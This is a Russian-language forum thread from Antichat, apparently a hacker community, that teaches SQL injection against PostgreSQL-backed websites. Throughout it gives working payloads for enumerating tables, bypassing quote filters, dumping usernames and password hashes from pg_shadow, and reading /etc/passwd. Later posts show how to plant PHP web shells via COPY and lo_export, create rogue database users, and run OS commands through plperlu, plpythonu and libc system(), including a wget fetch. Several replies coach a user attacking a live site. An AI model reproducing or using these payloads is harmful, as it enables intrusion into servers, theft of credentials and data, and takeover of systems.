Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Проведение SQL-Injection в PostgreSQL (https://forum.antichat.xyz/showthread.php?t=35599)

Spyder 15.03.2007 21:14

Проведение SQL-Injection в PostgreSQL
 
[Intro]
Всем доброе времени суток. Как я заметил - многие, сталкиваясь с иньекцией в PostgreSQL, не знают что же делать дальше. Ну что же, в этой статье я попробуй объяснить порядок действий.
Начнём!

[Подбор столбцов]

Здесь никакой экзотики, определяем так же как и в MySQL и Oracle.
Так как оператор UNION требует одинакового количества колонок как в первом, так и во втором запросе нам нужно количество этих самых колонок определить
Для этого существует 2 пути:

1. Простой перебор
допустим у нас есть сайт с иньекцией
Код:

www.site.com/index.php?id=1'
тогда выполняем такой запрос
Код:

www.site.com/index.php?id=-1+union+select+null
если появилась ошибка, то увеличиваем количество колонок на одну
Код:

www.site.com/index.php?id=-1+union+select+null,null
и так пока не исчезнет ошибка и появится пустая страница
2. Оператор ORDER BY
С помощью этого оператора можно намного проще и быстрее определить количество столбцов
Выполняем такой запрос:

Код:

www.site.com/index.php?id=-1+order+by+1--
(ошибки нет, значит столбцов 1 или больше 1)
Код:

www.site.com/index.php?id=-1+order+by+9999--
(должна появится ошибка, значит столбцов меньше 9999)
Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда
Код:

www.site.com/index.php?id=-1+order+by+4--
(ошибки не будет)
Код:

www.site.com/index.php?id=-1+order+by+5--
(ошибка есть)

[Определяем вывод]

Предположим мы подобрали количество столбцов и их оказалось 4
Код:

www.site.com/index.php?id=-1+union+select+null,null,null,null
Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого
подставим заместо одного из null - цифру

Код:

www.site.com/index.php?id=-1+union+select+null,111,null,null--
И так меняя столбцы мы узнаём вывод
Но тут не всё так просто. PostgreSQL имеет такую особенность, что столбец в первом запросе и соответствующий ему столбец во втором, должны иметь одинаковый тип данных (char,int и тд)
Чаще всего это char (например текст статьи). Кажется что ничего не сделаешь, но разработчики позаботились о нас и создали функцию to_char(). Используем так to_char(1,123) (первая цифра на бум, вторая - число которое выведется на страницу)

[Information_Schema]

К счастью, в PosgreSQL существует специальная база, в которой хранятся записи о всех существующих таблицах, колонках и тд.
Запрос к ней выглядит практически так же как и в MySQL, но с небольшой оговоркой.


Узнаём таблицы

Код:

www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES--
Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие
Вы скорее всего броситесь подстовлять в конце LIMIT+1,1 =) , но здесь как раз та самая оговорка
В PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET
Именно OFFSET отвечает за номер записи с которой производится вывод. Пример:

Код:

www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--
Здесь после LIMIT стоит цифра 1 - это значит что на страницу выведется одна запись
После OFFSET цифра 1 - это значит что на страницу выведутся записи начиная с второй (т.к. отсчёт ведётся с 0)


Узнаём колонки

Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER
То что мы знаем имя таблицы - это хорошо, но надо знать и колонки
Для этого изменяем запрос на такой:

Код:

www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS--
Таким оброзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER
Изменяем немного наш запрос добовляя в него оператор WHERE:

Код:

www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--
Появится имя первой колонки в таблице user и далее добовляя LIMIT+OFFSET узнаём все колонки.
В 90% вам не удастся выполнить такой запрос и вы увидите ошибку примерно такого вида:

Цитата:

ERROR: syntax error at or near "user" at character 173
Это значит что стоит фильтрация кавычек. но это можно обойити при помощи встренной функции CHR().
Функция chr() получает ОДИН числовой аргумент n типа integer и возвращает символ с ASCII-кодом, равным n
Т.е. мы можем получить только один символ. Например chr(113) выдаст нам символ "q", но если мы захотим сделать так chr(113,114), постгрес будет ругаться на неправильно количество аргументов в функции.
Здесь бы помогла встроенная в MySQL функция CONCAT() и такая функция есть, но выглядит она немного по другому. Пример:
chr(113)||chr(114) - вернёт QR
Это конечно не удобно, особенно если имя таблицы длинное, но другого выхода я пока не нашёл.
Здесь стоит указать ссылку где можно перевести символы в их числовые значения, вот она -
Код:

http://www.paulschou.com/tools/xlate/
Но вернёмся к нашему сайту
Закодировав слово user - мы получаем вот такие числа
117 115 101 114
Составляем запрос приведённый выше, но теперь заместо слова 'USER' делаем так:

Код:

www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)||chr(115)||chr(101)||chr(114)--
Теперь наш запрос правильный и должен вернуть имя колонки
Так же обойти фильтрацию кавычек можно подзапросом. Пример:

Код:

www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--
[PG_TABLES или альтернатива Information_schema]

В старых версиях PostgreSQL нет возможности обратиться к базе Information_schema, так как её на то время не существовало. Но к счастью для неё есть альтернатива - это таблица PG_TABLES
Стоит заметить что у неё есть большой минус, он вытекает из названия. С помощью неё мы можем узнать только таблицы, а колонки нам придётся подбирать вручную. Имена таблиц хранятся в колонке TABLENAME
Пример

Код:

www.site.com/index.php?id=-1+union+select+null,TABLENAME,null,null+from+PG_TABLES+limit+1+offset+0--
[Хэк или достаём нужную нам инфу из таблицы]

Ну тут уже всё просто. Мы знаем имя таблицы, знаем имена колонок
Составляем запрос:

Код:

www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user--
Он возвратит нам в данном случае имя юзера
Многие любят объединять 2 колонки разделяя их спец символом, что же, мы уже умеем это делать

Код:

www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null,null+from+user--
Мы увидим запись типа Имя_юзера:мыло_юзера
Стоит сказать что в некоторых случаях данные выводятся в неправильной кодировке. Для изменения существует функция CONVERT()
Использовать так -
Цитата:

CONVERT(preved+using+utf8_to_iso_8859_1)
где:
preved - строка которую нам нужно перевести в другую кодировку
utf8_to_iso_8859_1 - из какой кодировки в какую перевести (полный список кодировок -> http://www.postgresql.org/docs/8.2/interactive/functions-string.html#CONVERSION-NAMES)


[Заключение]

В этой статье я пытался поделится своими знаниями в PostgreSQL. Вся документация взята из книги Дж. Уорсли "PostgreSQL для профессионалов" и онлайн документации на оф. сайте www.postgresql.org.
По мере того как информация будет пополнять мой мозг, статья будет обновлятся.
Спасибо }{0TT@БЬ)Ч 'у за содействие в написании статьи =)

##END

ЗЫ Моя первая статья, и не бейте =) Все обоснованные замечания с радостью приму к сведению

VampiRUS 16.03.2007 12:50

Можно также узнать колонки если кавычки фильтруются таким способом:
Код:

http://site.ru/index.php?id=-1+union+select+null,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+20)--
подобрав нужную таблицу.

}{0TT@БЬ)Ч 16.03.2007 17:00

так же можно добавить
current_database() возвращает имя базы данных с которой работает скрипт
current_user() имя пользователя, под которым работает скрипт
version() информация о версии.

R®.L@mer 21.04.2007 04:28

Спасибо за статейку - она мне помогла! Я тулил в качесте коммента такой как в МуСКЛ и натыкался на еррор :) И завтыкал сам проверить двойной дефис! Ну эт детали! А вообще-то ОГРОММНОЕ СПАСИБО!
А еще...
Как вывести запрос в файл так как это делайет мускл?

Spyder 23.04.2007 19:51

Цитата:

Как вывести запрос в файл так как это делайет мускл?
на данный момент никак =\

guest3297 23.04.2007 20:14

LOAD -- Загрузка файла в память.
Цитата:

LOAD 'filename'
COPY -- Переносим файл в таблицу.
Цитата:

COPY tablename [ ( column [, ...] ) ]
FROM { 'filename' | STDIN }
[ [ WITH ]
[ BINARY ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ]
[ CSV [ HEADER ]
[ QUOTE [ AS ] 'quote' ]
[ ESCAPE [ AS ] 'escape' ]
[ FORCE NOT NULL column [, ...] ]

COPY { tablename [ ( column [, ...] ) ] | ( query ) }
TO { 'filename' | STDOUT }
[ [ WITH ]
[ BINARY ]
[ HEADER ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ]
[ CSV [ HEADER ]
[ QUOTE [ AS ] 'quote' ]
[ ESCAPE [ AS ] 'escape' ]
[ FORCE QUOTE column [, ...] ]


guest3297 23.04.2007 20:22

Автор так же не заметил
1) Важную вещь.
Коментарий и прерыв строки в некоторых случаях, особенно в сложных запросах он не обходим. Так вот коментарий в PGSQL служит так же симаол "{".

Так же есть возможность прерываний строки ";"
Далее создаем системного юзера:

Цитата:

CREATE USER hacker WITH PASSWORD 'hackpass'
Так же подкину системные таблички:
  • pg_auth_members
  • pg_authid
  • pg_database
  • pg_pltemplate
  • pg_shdepend
  • pg_shdescription
  • pg_tablespace
Вроде все вспомнб что еще напишу )))

Spyder 23.04.2007 20:28

Я не претендую на полный мануал
Цитата:

В этой статье я пытался поделится своими знаниями
СПС, Кэш, дополню

mr.crown 06.05.2007 04:12

Цитата:

Сообщение от Spyder
на данный момент никак =\

Вот ща поставил себе сервер постгре, и короче сделал вывод в файл!
COPY (SELECT '<?php system($_GET[cmd]); ?>') TO 'FILE_NAME'
Только блин на серваке, ипстественно не моем не получается, видать прав у юзера мало :(
Над будет попробывать создать юзера

velikijmerlin 28.02.2009 21:09

help
 
всем доброго времени суток..
попытался исследовать один сайт на скёрл инекции, потыкался, потыкался, и нашёл такие ошибки, а что с ними делать дальше я не понимаю...
может подсказать в каком направлении идти дальше, продолжать бить эти ошибки, или же искать в других местах?
заранее спасибо

вот скрин ошибок
http://s46.radikal.ru/i112/0902/bd/958f3435b5bat.jpg

Ded MustD!e 01.07.2009 08:08

SQL-Injection в PostgreSQL
 
SQL-Injection в PostgreSQL


::Вступление::

В этой статье я расскажу об особенностях проведения SQL-инъекций в PostgreSQL. Эта тема уже затрагивалась на форуме, о ней писал Spyder(https://forum.antichat.ru/thread35599.html). Попробуем копнуть чуть глубже.

::Ошибки::

Итак, мы подставили в параметр кавычку, и что мы видим? Вот типичные ошибки, с которыми мы будем работать:

Код:

Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character...
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character...
[Warning] pg_query(): Query failed: ERROR: unterminated quoted string at or near "'" at character...
Warning: PostgreSQL query failed: ERROR: parser: parse error at or near "\" in...

Наличие этих ошибок на 90% гарантирует нам возможность проведения инъекции.

::Комментарии и пробелы::

Пробельные символы можно использовать те же, что и в MySQL, а вот с комментариями дело обстоит несколько иначе, в PostgreSQL обрубать запрос комментарием "/*" не получится. Он ругнется на это ошибкой:
Код:

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated /* comment at or near "/*"
так как такой комментарий обязательно должен быть закрыт. В связи с этим будем использовать "--", который закомментирует после себя всё до конца строки.

::Вывод системной информации::

Аналогов команды user() из MySQL в PostgreSQL аж целых 4 штуки:

user
current_user
session_user
getpgusername()


Вывод версии: version()
Вывод базы данных: current_database()
Вывод IP сервера БД: inet_server_addr()
Вывод порта сервера БД: inet_server_port() (по дефолту 5432)

Выводим необходимую информацию, это удобно сделать одним запросом:

Код:

http://www.site.com/index.php?id=27+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--
И получим например такой ответ сервера:

Код:

Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer:
"PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9):ed:sedbtac" in...

Здесь версия - это PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9)
Юзер - ed
БД - sedbtac

Тут стоит обратить внимание на сам запрос, PostgreSQL очень ревностно относится к типам данных, поэтому результат надо искусственно приводить к требуемому (в смысле к тому, который требуется нам=)) типу данных. Это можно делать функцией cast(выражение+as+тип), либо использовать специфическую конструкцию "выражение::тип", которая присутствует там по историческим мотивам). Например id=27+and+1=version()::int--

Две прямые черты "||" объединяют всё в одну строку, chr(58) - это разделитель ":".

Так как PostgreSQL поддерживает разделение запросов с помощью символа ";", то можно например вывести версию альтернативным способом:

id=27;select+version()::int--

либо

id=27;select+cast(version()+as+int)--

::Подбор количества колонок::

Колонки можно подбирать несколькими способами.

1.Используя конструкцию ORDER BY:

id=27+order+by+100--

В случае меньшего числа колонок возвратится ошибка:

Код:

Warning: pg_query(): Query failed: ERROR: ORDER BY position 100 is not in select list in...
2.ORDER BY за один запрос (способ, который предложил IceAngel):

id=27+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,...

Отнимаем от выведенного числа единицу и получаем количество колонок.


3.Можно подбирать сразу конструкцией UNION+SELECT+NULL:

id=27+union+select+null,null,null,...

пока не исчезнет ошибка.


4.Либо подбирать подставляя цифры как и в MySQL:

id=27+union+select+1,2,3,...

При этом, если число колонок неправильное, то возвратится ошибка:

Код:

Warning: pg_query(): Query failed: ERROR: each UNION query must have the same number of columns in...
А если число колонок верное, так как типизация тут строгая, то возвратиться ошибка о неправильном приведении типов, например:

Код:

Warning: pg_query(): Query failed: ERROR: UNION types date and integer cannot be matched in...
Из всех перечисленных выше методов рациональнее, конечно, использовать конструкцию ORDER BY.

::Системные таблицы::

Подбирать колонки мы научились, осталось узнать как, и собственно, откуда выводить.

Рассмотрим полезные системные таблицы в PostgreSQL:

1. pg_user


Поле****(Тип)****Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль (здесь содержатся звездочки "****", а не пароль, по сути такая же аналогия как и в /etc/passwd и /etc/shadow)
valuntil (abstime) - Время истечения аккаунта (имеется ввиду, сколько живет сессия юзера при использовании аутентификации паролем)
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

Как мы видим, информация из этой таблицы носит скорее информативный характер, так как пароль содержится в другой таблице:

2. pg_shadow

Поле****(Тип)****Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль
valuntil (abstime) - Время истечения пароля
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

Именно из pg_shadow мы можем выводить пароли пользователей БД (аналог mysql.user), но чаще всего доступа к этой таблице нету.

3. pg_database

В этой таблице, нас интересует только одно поле - datname, в котором хранятся имена доступных баз данных.

4. information_schema.tables и information_schema.columns

Тут всё стандартно, те же имена полей (table_name, column_name, table_schema...).

::Вывод информации::

Вот и добрались мы наконец-то до вывода, касаемо конструкций тут всё схоже с MySQL и MSSQL, например, чтобы вывести имя таблицы из information_schema.tables нам потребуется сделать, к примеру, такой запрос:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables--

А вот для того, чтобы перебирать значения полей, просто limit+1,1 тут не прокатит, необходимо использовать следующую конструкцию:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables+limit+1+offset+1--

При этом перебираем мы тут параметром offset.

Если требуется вывести имена колонок конкретной таблицы, делаем стандартный запрос:

id=27+union+select+1,column_name,3,...+from+inform ation_schema.columns+where+table_name='имя_та блицы'

Но так как кавычки, скорее всего, фильтруются, то у нас есть 2 выхода, во-первых можно перевести имя таблицы в chr(), например если мы хотим получить название колонок таблицы pg_user, то запрос будет:

...+where+table_name=CHR(112)||CHR(103)||CHR(95)|| CHR(117)||CHR(115)||CHR(101)||CHR(114)

Но в PostgreSQL, начиная с версии 8 появилась очень удобная фича (моя мечта - такая же фишка в MySQL), вместо кавычек можно использовать два подряд идущих знака доллара, то есть сработает такая конструкция:

...+where+table_name=$$имя_таблицы$$

Функции concat() в PostgreSQL нет, конкатенация строк осуществляется с помощью двух прямых палок "||", например

id=27+union+select+usename||chr(58)||passwd,null,n ull,null,null,null+from+pg_user--

Доступна конструкция LIKE:

id=27+union+select+table_name,null,null,null,null, null+from+information_schema.columns+where+column_ name+LIKE+$$%password%$$--

При этом %password% должно быть заключено в кавычки.

Конструкция IF используется только во внутренних функциях, и бесполезна для проведения инъекций, вместо неё можно использовать оператор CASE:

Код:

CASE WHEN condition THEN result
    [WHEN ...]
    [ELSE result]
END

Например:

id=27+and+1=cast((SELECT+CASE+WHEN+(1=1)+THEN+$$A$ $+ELSE+$$B$$+END)+as+int)--

Такое выражение в результате вернет нам "А".

Можно использовать альтернативный вывод:

id=27;select+cast(usename||chr(58)||passwd+as+int) +from+pg_user--

Но в ответе мы увидим только первую запись, а перебирать их через +limit+1+offset не получится.

::Выполнение команд::

Ну и на последок самое интересное, выполнение команд к БД, для этого нужно иметь привилегии usesuper.

С помощью выполнения команд можно делать всё что угодно, от чтения файлов на сервере, до заливки шелла, были бы права)
В PostgreSQL, также как и в MSSQL, можно разделять запросы с помощью точки с запятой - ";".

Читаем /etc/passwd:

id=27;CREATE TABLE aaaa(b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
id=27;COPY аааа FROM '/etc/passwd'; /*копируем в таблицу "аааа" содержимое /etc/passwd*/
id=27+union+select+b+from+aaaa+limit+1+offset+0-- /*читаем содержимое таблицы*/
id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/

Заливаем шелл:

id=27;CREATE TABLE аааа (b text); /*создаем таблицу "аааа" с колонкой "b" типа text*/
id=27;INSERT INTO аааа(b) VALUES ('<? pasthru($_GET[cmd]); ?>'); /*вставляем в поле "b" таблицы "аааа" ядовитый код*/
id=27;COPY аааа (b) TO '/tmp/shell.php'; /*копируем содержимое поля "b" в файл shell.php*/
id=27;DROP TABLE aaaa; /*чистим за собой, удаляем таблицу "аааа"*/

Создаём нового пользователя:

id=27;CREATE USER hacker PASSWORD 'mypass';

Даём юзеру права на создание новых БД и новых пользователей:

id=27;ALTER USER test1 CREATEUSER CREATEDB;

::Заключение::

Здесь рассмотрены далеко не все особенности PostgreSQL, статья будет дополняться мной по мере накопления материала. Приветствуются любые дополнения/исправления/замечания/комментарии.

Spyder 01.07.2009 11:47

Давно хотел обновить статью. В постгре можно выполнять системные команды прямо в инъекции

Ded MustD!e 01.07.2009 15:37

Цитата:

Сообщение от Spyder
Давно хотел обновить статью. В постгре можно выполнять системные команды прямо в инъекции

Понял, что ты имел ввиду, надо проверить на практике, если хочешь, могу кинуть в ПМ сайт с полными правами, вместе потестим)

Spyder 02.07.2009 02:18

Небольшое дополнение

Выполнение произвольного Perl/Python/Tcl/C кода
Так как в PostgreSQL(вернее в пшп-функциях) мы можем раделять несколько запросов точкой с запятой ";" появляется возможность, имея соответcтвующие права, создавать собственные функции
Чтобы узнать доступные языки выполняем запрос
SELECT lanname,lanispl,lanpltrusted from pg_language
В данной заметке я привожу пример с языком Perl
Допустим мы получили plperl true true
Создать функцию мы можем прямо сейчас
CREATE OR REPLACE FUNCTION perlcmd (text) returns text as '$echo=234;return $echo' LANGUAGE 'plperl';

SELECT perlcmd(null);
Тут появляется первая проблема. Пробуем создать что то более полезное
CREATE OR REPLACE FUNCTION perlcmd (text) returns text as '$a=shift;system($a)' LANGUAGE 'plperl';
ERROR: creation of Perl function "perlcmd" failed: 'system' trapped by operation mask at line 1
Такая же история для обратных ковычек
ERROR: creation of Perl function "perlcmd" failed: 'quoted execution (``, qx)' trapped by operation mask at line 1
и т.д Постгре не даёт нам создать потенциально опасные функции. К счастью есть возможность обойти
Для этого создадим новый язык по образцу перла
CREATE LANGUAGE 'plperlu';
и уже новую функцию
CREATE OR REPLACE FUNCTION perlcmd2 (text)+returns text as '$a=shift;system($a)' LANGUAGE 'plperlu';

SELECT perlcmd2('wget http://www.example.com/file.txt -O /tmp/file.txt')
НУ и самая главная проблема это права, создавать функции может только суперюзер и юзеры с расширеными правами, что встречается крайне редко

Напомню что magic_quotes можно обойти симолами доллара
SELECT $$ya_stroka$$;

Insane bboy 19.08.2009 15:13

как узнать уровень прав в системе???
я создаю таблицу, заливаю инфу(в данном случае шелл, как и в примере сверху) в поле таблицы, но вот вывод этой инфы в файл не получается:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: не получилось открыть файл "/1.php" для записи: Отказано в доступе
заливаю так:
адресс...=3;COPY+aa+(b)+TO+$$/1.php$$--
какие есть варианты залить\выполнить php код кроме представленных выше?

Spyder 19.08.2009 17:34

узнать свои права
select usesuper from pg_users where usename=curent_user

Цитата:

COPY+aa+(b)+TO+$$/1.php$$--
ты пытаешься создать файл в корне системы, права на запись имеет только рут, естественно никто постгрес запускать от рута не будет
пробуй создать файл в /tmp для начала
Цитата:

COPY+aa+(b)+TO+$$/tmp/1.php$$--

Insane bboy 19.08.2009 18:51

так в том то и дело что в /tmp/1.php создается:)
но как его запустить я хз:(

Spyder 19.08.2009 19:30

чтобы запустить его (=\\\) тебе надо залить в папку видимую из веба, полный путь ты можешь увидеть в ошибке выдаваемой при неправильном запросе к постгре

либо можешь поискать инклуд на сайте и проинклудеть из /tmp
Вообще для тебя есть тема специальная
https://forum.antichat.ru/newpostinthread46016.html

Insane bboy 19.08.2009 19:43

инлуда нет, а насчет папок
/home1/www/site/lyrics/htdocs/index.php
это я из ошибки вытащил, как теперь правильно директорию написать?
/home1/www/site/lyrics/htdocs/1.php ???
или это не то?

уже второй час ковыряю, никак залить нормально не могу:(

pampom 20.08.2009 00:14

В полне возможно, точнее так и есть прав на запись в папку web нету.
И вообще в pg sql комбинация ;COPY работает очень редко.

Spyder 20.08.2009 01:31

в его случае права у юзера полные
просто там база данных находится на другом сервере
Цитата:

И вообще в pg sql комбинация ;COPY работает очень редко.
если права usesuper то работает всегда

Insane bboy 24.08.2009 12:13

пытаюсь зарегать нового юзера
таблица user колонки login и passwd

пробую так:
id=27;INSERT INTO user(login) VALUES ('значение логина');
выдает ошибку типа поле пароль пустое(ну правильно, логично)
как сделать запрос чтоб сразу заполнить два поля(логин и пароль)?

сам спросил, сам и отвечаю
в моем случае ...=3;INSERT+INTO+users+(id,login,pass)+VALUES+(3, сюда логин, сюда пасс,);--

Ded MustD!e 01.09.2009 06:06

Небольшое дополнение в тему создания функций.

1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:

Создаем таблицу stdout с колонками id,system_out.
Цитата:

CREATE TABLE stdout(id serial, system_out text)--
Создаем функцию system().
Цитата:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--
Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
Цитата:

SELECT system('uname -a > /tmp/test')--
Копируем данные из /tmp/test в таблицу stdout.
Цитата:

COPY stdout(system_out) FROM '/tmp/test'--
Выводим данные на экран.
Цитата:

UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
2. Чуть подругому через plperl:

Создаем язык, если он не был создан.
Цитата:

CREATE LANGUAGE plperlu
Создаем функцию proxyshell().
Цитата:

CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
Выполняем команду и выводим на экран.
Цитата:

SELECT+proxyshell('uname -a')::int--
3. И напоследок через plpython:

Создаем функцию proxyshell().
Цитата:

CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
Наслаждаемся выполнением команд)
Цитата:

SELECT+proxyshell('uname -a')::int--

Dr.Frank 07.09.2009 13:54

У меня просьба(а если кто-то уже знает ответ, то вопрос): можно ли при чтении файлов вместо '/etc/passwd' писать chr(47)||chr(101)||chr(116)||chr(99)||chr(47)||chr (112)||chr(97)||chr(115)||chr(115)||chr(119)||chr( 100) по аналогии с mysql?
А если никто не знает, то просьба тем, у кого есть возможность(типа рут привелегии или т.п.), проверить такой способ, т.к. у меня не получилось =/
Первоначальный вариант не подошел, т.к. кавычки экранируются.

Spyder 07.09.2009 14:02

если версия >8.0, то можно так
$$/etc/passwd$$

pampom 07.09.2009 14:13

откуда такая инфа можна пример?

Spyder 07.09.2009 18:35

http://www.postgresql.org/docs/8.4/static/sql-syntax-lexical.html
http://www.postgresql.org/docs/8.4/static/release-8-0.html

какой тебе пример нужен? скулю показать где это работает?

Spyder 14.09.2009 16:44

Прощай лимит

Если у нас установлен процедурный язык plpgsql
Код:

select lanname from pg_language where lanname='plpgsql'
Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом
Для этого создаем функцию

Код:

CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$
DECLARE
                schema                ALIAS FOR $1;
                table                        ALIAS FOR $2;
                column1                ALIAS FOR $3;
                column2                ALIAS FOR $4;
                column3                ALIAS FOR $5;
                count                        int;
                i                        int;
                temp                        text;
                int_test                        text;
                input_refc                refcursor;
BEGIN
                int_test := $qr$Result : $qr$;
                OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
                FETCH input_refc into count;
                CLOSE input_refc;
                count := count - 1;
                BEGIN
                                FOR i in 0..count LOOP
                                                OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
                                                FETCH input_refc into temp;
                                                CLOSE input_refc;
                                                int_test := int_test || temp;
                                                END LOOP;
                                                RETURN int_test;
                END;
END;
$func$ LANGUAGE plpgsql;


Функция getall() получает 5 параметров
1 - имя базы
2 - имя таблицы
3,4,5,6 - имена колонок
Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br>
екземпл
id=-1 union select getall('information_schema','columns','column_name ','table_name','table_schema')

krypt3r 23.10.2009 09:11

GROUP_CONCAT() в PostgreSQL
Код:

SELECT array_to_string(array(SELECT field FROM table), ', ');

krypt3r 29.12.2009 12:37

Вариант заливки шелла
 
Заливка шелла через большие объекты (large objects).
1. Создаем LO.
Код:

dbname=# SELECT lo_create(-1);
Запрос вернет идентификатор типа 4294967295. Это id созданного LO.
2. Подготовим шелл и пропишем его в БД
Код:

dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295;
3. Экспортируем код во внешний файл
Код:

dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php');
Шелл залит. Осталось удалить LO из БД
Код:

dbname=# SELECT lo_unlink(4294967295);
Все это можно заюзать в одной строке
Код:

http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);--
Для заливки также требуются права usesuper

PS. Ну и случайно нашел. На запрос типа
Код:

http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f))
вывалится ошибка
Код:

ERROR:  table "q" has 5 columns available but 6 columns specified
ERROR:  у таблицы "q" колонок доступно: 5, но указано: 6

если в таблице sometable 5 колонок (в запросе указано 6). При указании количества <= 5 будет ошибка
Код:

ERROR:  subquery must return only one column
ERROR:  подзапрос должен вернуть только одну колонку

Возможно, пригодится как альтернативный вариант подбора количества колонок в таблице

budden 24.03.2010 20:20

Думаю стоит добавить, как хэшируются пароли в pg_shadow. Например:
# select usename, passwd from pg_shadow;
usename | passwd
------------------+-------------------------------------
testuser | md5fabb6d7172aadfda4753bf0507ed4396
В хэше первые 3 символа определяют, что это мд5. А дальнейшнее значение (fabb6d7172aadfda4753bf0507ed4396) получается так: md5($password.$usename)
В данном случае, md5(m4gictestuser) = fabb6d7172aadfda4753bf0507ed4396

Добавка: как выглядит вывод version():
PostgreSQL 7.4.5 on i686-pc-linux-gnu, compiled by GCC gcc...
Т.е. первую цифру выбираем так: substring(version(),12,1)

\\\\\\\\\\\\\\\\Еще полезные заготовки: \\\\\\\\\\\\\\\\\\\\\\\\
узнать кодировку БД можно 1) psql -l 2) в запросе сделать select datname||';'||encoding from pg_database
Полученные циферки в используемую кодировку преобразуются так: select pg_encoding_to_char($цифра);
Либо сразу select datname||';'||pg_encoding_to_char(encoding) from pg_database


Время: 21:35